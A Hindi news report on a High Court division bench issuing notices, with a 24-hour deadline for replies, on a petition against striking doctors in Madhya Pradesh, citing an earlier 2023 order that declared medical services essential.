नरसिंहपुर निवासी अंशुल तिवारी की तरफ से दायर याचिका में कहा गया था कि पश्चिम बंगाल में एक महिला डॉक्टर के साथ हुई घटना के विरोध में देशभर के डॉक्टर आंदोलनरत हैं। प्रदेश के डॉक्टर भी घटना के विरोध में हड़ताल पर चले गए हैं। पूर्व में इंदरजीत सिंह शेरू की तरफ से दायर याचिका पर हाईकोर्ट द्वारा फरवरी 2023 में दिए गए आदेश का हवाला देते हुए कहा गया कि उस समय डॉक्टरों की हड़ताल को अवैधानिक करार दिया था। हाईकोर्ट ने अपने आदेश में चिकित्सा सेवा को अत्यावश्यक सेवा घोषित करते हुए कहा था कि अत्यावश्यक सेवा संधारण तथा विचिन्नता निवारण अधिनियम 1979 के तहत चिकित्सा सेवा के कर्मचारी सामूहिक अवकाश तथा हड़ताल पर नहीं जा सकते। हाईकोर्ट ने मध्य प्रदेश शासकीय व स्व शासकीय  चिकित्सा महासंघ तथा मेडिकल ऑफिसर एसोसिएशन को निर्देशित किया था कि वे हाईकोर्ट में बिना सूचित किए सांकेतिक हड़ताल तक नहीं करेंगे।

याचिका की सुनवाई करते हुए युगलपीठ ने प्रमुख सचिव स्वास्थ्य विभाग, डीन गांधी मेडिकल कॉलेज तथा जूनियर डॉक्टर एसोसिएशन गांधी मेडिकल कॉलेज को नोटिस जारी करते हुए 24 घंटों में जवाब मांगा है। युगलपीठ ने अपने आदेश में कहा है कि जूनियर डॉक्टर एसोसिएशन को इलेक्ट्रॉनिक माध्यम से नोटिस के साथ पूर्व में पारित आदेश की प्रति भेजी जाए। याचिकाकर्ता की तरफ से अधिवक्ता संजय अग्रवाल ने पैरवी की।

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